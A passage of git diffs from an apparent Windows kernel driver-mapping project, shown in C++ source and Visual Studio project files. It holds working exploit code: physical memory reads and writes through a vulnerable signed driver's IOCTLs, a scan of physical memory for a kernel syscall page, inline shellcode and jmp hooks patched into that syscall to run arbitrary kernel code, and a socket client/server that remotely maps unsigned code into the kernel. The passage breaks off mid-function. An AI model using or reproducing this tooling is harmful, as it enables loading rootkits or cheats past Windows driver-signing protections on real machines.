sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,103 @@
#include "vdm_ctx.hpp"
namespace vdm
{
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
vdm::nt_rva =
utils::kmodule::get_export(
"ntoskrnl.exe",
syscall_hook.first
) - utils::kmodule::get_base("ntoskrnl.exe");
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : utils::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,71 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts ...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
};
}

@ -15,36 +15,71 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Usermode", "Theo
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoImGui", "DemoImGui\examples\example_win32_directx11\example_win32_directx11.vcxproj", "{9F316E83-5AE5-4939-A723-305A94F48005}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Server", "Theodosius-Server\Theodosius-Server.vcxproj", "{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Client", "Theodosius-Client\Theodosius-Client.vcxproj", "{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x64.ActiveCfg = Debug|x64
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x64.Build.0 = Debug|x64
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x86.ActiveCfg = Debug|x64
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x64.ActiveCfg = Release|x64
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x64.Build.0 = Release|x64
{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x86.ActiveCfg = Release|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.ActiveCfg = Debug|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Build.0 = Debug|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x86.ActiveCfg = Debug|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.ActiveCfg = Release|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x64.Build.0 = Release|x64
{A9959D7F-E405-4380-A1B4-4CE8DD929397}.Release|x86.ActiveCfg = Release|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.ActiveCfg = Debug|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x64.Build.0 = Debug|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Debug|x86.ActiveCfg = Debug|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.ActiveCfg = Release|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x64.Build.0 = Release|x64
{B3A57EE2-364D-42FA-A827-33F43136B549}.Release|x86.ActiveCfg = Release|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x64.ActiveCfg = Debug|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x64.Build.0 = Debug|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Debug|x86.ActiveCfg = Debug|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x64.ActiveCfg = Release|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x64.Build.0 = Release|x64
{0043C2E6-7080-4363-BD50-298A4C51562F}.Release|x86.ActiveCfg = Release|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.ActiveCfg = Debug|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x64.Build.0 = Debug|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Debug|x86.ActiveCfg = Debug|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.ActiveCfg = Release|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x64.Build.0 = Release|x64
{BE437FEC-EA25-4E93-9B73-A028F9DD698F}.Release|x86.ActiveCfg = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x64.ActiveCfg = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x64.Build.0 = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x86.ActiveCfg = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Debug|x86.Build.0 = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Release|x64.ActiveCfg = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Release|x64.Build.0 = Release|x64
{9F316E83-5AE5-4939-A723-305A94F48005}.Release|x86.ActiveCfg = Release|x64
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x64.ActiveCfg = Debug|x64
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x64.Build.0 = Debug|x64
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x86.ActiveCfg = Debug|Win32
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Debug|x86.Build.0 = Debug|Win32
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x64.ActiveCfg = Release|x64
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x64.Build.0 = Release|x64
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x86.ActiveCfg = Release|Win32
{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}.Release|x86.Build.0 = Release|Win32
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x64.ActiveCfg = Debug|x64
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x64.Build.0 = Debug|x64
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x86.ActiveCfg = Debug|Win32
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Debug|x86.Build.0 = Debug|Win32
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x64.ActiveCfg = Release|x64
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x64.Build.0 = Release|x64
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x86.ActiveCfg = Release|Win32
{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

@ -24,7 +24,7 @@ auto get_mapping_info(int argc, char** argv) -> std::pair<objs_buffer_t, extern_
// another flag so we break...
if (argv[idx][0] == '-' && argv[idx][1] == '-')
break;
continue;
if (!lnk::get_objs(argv[idx], image_objs))
{
@ -53,11 +53,16 @@ int main(int argc, char** argv)
if (argc < 3 || strcmp(argv[1], "--libs"))
{
std::printf("[!] invalid usage... please use one of the following:\n");
std::printf(" > theo.exe --libs one.lib two.lib three.lib\n");
std::printf(" > theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n");
std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
std::printf("\t\t> --debug, print linker debug information...\n");
return -1;
}
for (auto idx = 3; idx < argc; ++idx)
if (!strcmp(argv[idx], "--debug"))
dbg_print = true;
auto [image_objs, extern_symbols] = get_mapping_info(argc, argv);
std::printf("[+] number of objs = %d\n", image_objs.size());

@ -76,11 +76,8 @@ namespace vdm
DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
}

@ -20,6 +20,7 @@
#include <map>
#include "ia32.hpp"
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )

@ -92,6 +92,7 @@
<ItemGroup>
<ClInclude Include="linker.hpp" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="theo.h" />
<ClInclude Include="utils.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />

@ -40,5 +40,8 @@
<ClInclude Include="linker.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="theo.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

@ -4,6 +4,7 @@
#include "theo.h"
#include "linker.hpp"
#include "vdm_ctx/vdm_ctx.hpp"
#include "utils.hpp"
using extern_symbols_t = std::vector<std::pair<std::string, lnk::map_symbols_t>>;
using objs_buffer_t = std::vector<lnk::obj_buffer_t>;
@ -24,7 +25,7 @@ auto get_mapping_info(int argc, char** argv) -> std::pair<objs_buffer_t, extern_
// another flag so we break...
if (argv[idx][0] == '-' && argv[idx][1] == '-')
break;
continue;
if (!lnk::get_objs(argv[idx], image_objs))
{
@ -53,11 +54,15 @@ int main(int argc, char** argv)
if (argc < 3 || strcmp(argv[1], "--libs"))
{
std::printf("[!] invalid usage... please use one of the following:\n");
std::printf(" > theo.exe --libs one.lib two.lib three.lib\n");
std::printf(" > theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n");
std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
return -1;
}
for (auto idx = 3; idx < argc; ++idx)
if (!strcmp(argv[idx], "--debug"))
dbg_print = true;
auto [image_objs, extern_symbols] = get_mapping_info(argc, argv);
std::printf("[+] number of objs = %d\n", image_objs.size());
@ -197,7 +202,7 @@ int main(int argc, char** argv)
}
const auto drv_entry = drv_mapper.get_symbol("DrvEntry");
std::printf("\n\n> driver entry -> 0x%p\n", drv_entry);
std::printf("> driver entry -> 0x%p\n", drv_entry);
std::getchar();
if (drv_entry)

@ -23,8 +23,8 @@ namespace theo
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
malloc_t kalloc;
memcpy_t kmemcpy;
malloc_t alloc;
memcpy_t mcopy;
resolve_symbol_t resolve_symbol;
private:
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);

@ -20,6 +20,10 @@
#include <map>
#define PAGE_4KB 0x1000
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;

@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{b047b17d-dff0-4d85-bfb1-e6eab444670a}</ProjectGuid>
<RootNamespace>TheodosiusServer</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>Ws2_32.lib;$(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="client.cpp" />
<ClCompile Include="main.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="client.hpp" />
<ClInclude Include="linker.hpp" />
<ClInclude Include="theo.h" />
<ClInclude Include="utils.hpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,35 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="client.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="linker.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="theo.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="client.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>--ip 0.0.0.0 --port 1234</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommandArguments>--ip 0.0.0.0 --port 1234</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

@ -0,0 +1,217 @@
#include "client.hpp"
namespace theo
{
client::client(SOCKET client_socket)
:
client_socket(client_socket),
handler_thread(std::thread(&client::handler, this))
{ handler_thread.detach(); }
client::~client()
{
// socket might already be closed...
closesocket(client_socket);
connections.erase(client_socket);
}
void* client::wrapper_memcpy(void* dest, const void* src, std::size_t size) const
{
while (size)
{
std::uint32_t copy_size = size;
if (copy_size > PACKET_DATA_SIZE)
copy_size = PACKET_DATA_SIZE;
theo_data* packet = new theo_data;
memset(packet, NULL, sizeof theo_data);
packet->type = theo_packet_type::copy_memory;
packet->copy_memory.dest_addr = dest;
packet->copy_memory.size = copy_size;
memcpy(packet->copy_memory.data, src, copy_size);
if (send(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, NULL) == SOCKET_ERROR)
{
std::printf("[!] failed to send data... reason = %d\n",
WSAGetLastError());
delete packet;
return nullptr;
}
if (recv(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR)
{
std::printf("[!] failed to recv alloc data... reason = %d\n",
WSAGetLastError());
delete packet;
return nullptr;
}
delete packet;
dest = reinterpret_cast<void*>(
reinterpret_cast<std::uintptr_t>(dest) + copy_size);
src = reinterpret_cast<void*>(
reinterpret_cast<std::uintptr_t>(src) + copy_size);
size -= copy_size;
}
return dest;
}
void* client::wrapper_alloc(std::size_t size) const
{
theo_data* packet = new theo_data;
memset(packet, NULL, sizeof theo_data);
packet->type = theo_packet_type::alloc_memory;
packet->alloc.alloc_size = size;
if (send(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, NULL) == SOCKET_ERROR)
{
std::printf("[!] failed to send data... reason = %d\n",
WSAGetLastError());
delete packet;
return nullptr;
}
if (recv(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR)
{
std::printf("[!] failed to recv alloc data... reason = %d\n",
WSAGetLastError());
delete packet;
return nullptr;
}
const auto result =
packet->alloc.addr;
delete packet;
return result;
}
std::uintptr_t client::wrapper_resolve_symbol(const char* symbol_name) const
{
theo_data* packet = new theo_data;
memset(packet, NULL, sizeof theo_data);
packet->type = theo_packet_type::resolve_symbol;
packet->resolve.symbol_size = strlen(symbol_name);
strcpy(packet->resolve.symbol, symbol_name);
if (send(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, NULL) == SOCKET_ERROR)
{
std::printf("[!] failed to send data... reason = %d\n",
WSAGetLastError());
delete packet;
return {};
}
if (recv(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, MSG_WAITALL) == SOCKET_ERROR)
{
std::printf("[!] failed to recv alloc data... reason = %d\n",
WSAGetLastError());
delete packet;
return {};
}
const auto result =
packet->resolve.symbol_addr;
delete packet;
return result;
}
void client::handler() const
{
int result{};
theo_data* packet = new theo_data;
memset(packet, NULL, sizeof theo_data);
while ((result = recv(client_socket, reinterpret_cast<char*>(packet),
sizeof theo_data, MSG_WAITALL)) != SOCKET_ERROR)
{
switch (packet->type)
{
case theo_packet_type::init:
{
theo::malloc_t alloc = [&](std::size_t size) -> void*
{ return this->wrapper_alloc(size); };
theo::memcpy_t mcopy =
[&](void* dest, const void* src, std::size_t size) -> void*
{ return this->wrapper_memcpy(dest, src, size); };
theo::resolve_symbol_t resolve_symbol =
[&](const char* symbol_name) -> std::uintptr_t
{ return this->wrapper_resolve_symbol(symbol_name); };
theo::hmm_ctx linker({ alloc, mcopy, resolve_symbol });
std::vector<lnk::obj_buffer_t> objs = lib_files[packet->file];
// map objs using a copy of the objs....
if (!linker.map_objs(objs))
{
std::printf("[!] failed to map obj files... closing socket...\n");
closesocket(client_socket);
break; // cannot recover from this...
}
theo_data* response = new theo_data;
memset(response, NULL, sizeof theo_data);
response->type = theo_packet_type::disconnect;
switch (packet->file)
{
case theo_file_type::demo_drv:
{
